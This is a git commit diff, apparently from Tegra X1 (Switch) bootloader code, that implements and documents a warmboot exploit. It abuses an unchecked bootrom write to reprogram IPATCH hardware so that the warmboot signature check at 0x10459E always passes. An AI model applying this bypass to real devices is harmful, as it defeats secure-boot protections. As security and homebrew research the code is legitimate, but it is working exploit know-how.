Proper warmboot exploit impl and documentation

Side effect:
Fixed a bug where the dumped patched bootrom had the warmboot exploit patch

Co-Authored-By: Balázs Triszka <balika011@gmail.com>
This commit is contained in:
Kostas Missos
2018-12-17 21:10:13 +02:00
parent 4781dc2ab4
commit e105634b0d
5 changed files with 64 additions and 35 deletions

View File

@@ -18,11 +18,11 @@
#include "../soc/t210.h"
#include "mc.h"
#include "emc.h"
#include "sdram_param_t210.h"
#include "../soc/pmc.h"
#include "../utils/util.h"
#include "../soc/fuse.h"
#include "../power/max77620.h"
#include "../mem/sdram_param_t210.h"
#include "../soc/clock.h"
#define CONFIG_SDRAM_COMPRESS_CFG
@@ -388,9 +388,9 @@ break_nosleep:
EMC(EMC_ACPD_CONTROL) = params->emc_acpd_control;
EMC(EMC_TXDSRVTTGEN) = params->emc_txdsrvttgen;
EMC(EMC_CFG) = (params->emc_cfg & 0xE) | 0x3C00000;
if (params->boot_rom_patch_control & 0x80000000)
if (params->boot_rom_patch_control & (1 << 31))
{
*(vu32 *)(4 * (params->boot_rom_patch_control + 0x1C000000)) = params->boot_rom_patch_data;
*(vu32 *)(APB_MISC_BASE + params->boot_rom_patch_control * 4) = params->boot_rom_patch_data;
MC(MC_TIMING_CONTROL) = 1;
}
PMC(APBDEV_PMC_IO_DPD3_REQ) = ((4 * params->emc_pmc_scratch1 >> 2) + 0x40000000) & 0xCFFF0000;
@@ -489,19 +489,47 @@ break_nosleep:
MC(MC_EMEM_CFG_ACCESS_CTRL) = 1; //Disable write access to a bunch of EMC registers.
}
const void *sdram_get_params()
sdram_params_t *sdram_get_params()
{
//TODO: sdram_id should be in [0, 7].
#ifdef CONFIG_SDRAM_COMPRESS_CFG
u8 *buf = (u8 *)0x40030000;
LZ_Uncompress(_dram_cfg_lz, buf, sizeof(_dram_cfg_lz));
return (const void *)&buf[sizeof(sdram_params_t) * _get_sdram_id()];
return (sdram_params_t *)&buf[sizeof(sdram_params_t) * _get_sdram_id()];
#else
return _dram_cfgs[_get_sdram_id()];
#endif
}
/*
* Function: sdram_get_params_patched
*
* This code implements a warmboot exploit. Warmboot, that is actually so hot, it burns Nvidia once again.
* If the boot_rom_patch_control's MSB is set, it uses it as an index to
* APB_MISC_BASE (u32 array) and sets it to the value of boot_rom_patch_data.
* (The MSB falls out when it gets multiplied by sizeof(u32)).
* Because the bootrom does not do any the boundary checks, it lets us write anywhere and anything.
* Ipatch hardware let us apply 12 changes to the bootrom and can be changed any time.
* The first patch is not needed any more when the exploit is triggered, so we overwrite that.
* 0x10459E is the address where it returns an error when the signature is not valid.
* We change that to MOV R0, #0, so we pass the check.
*
* Note: The modulus in the header must match and validated.
*/
sdram_params_t *sdram_get_params_patched()
{
sdram_params_t *sdram_params = sdram_get_params();
sdram_params->boot_rom_patch_control = (1 << 31) | (((IPATCH_BASE + 4) - APB_MISC_BASE) / 4);
u32 addr = 0x10459E; // Bootrom address for warmboot sig check.
u32 data = 0x2000; // MOV R0, #0.
sdram_params->boot_rom_patch_data = (addr / 2) << 16 | (data & 0xffff);
return sdram_params;
}
void sdram_init()
{
//TODO: sdram_id should be in [0,4].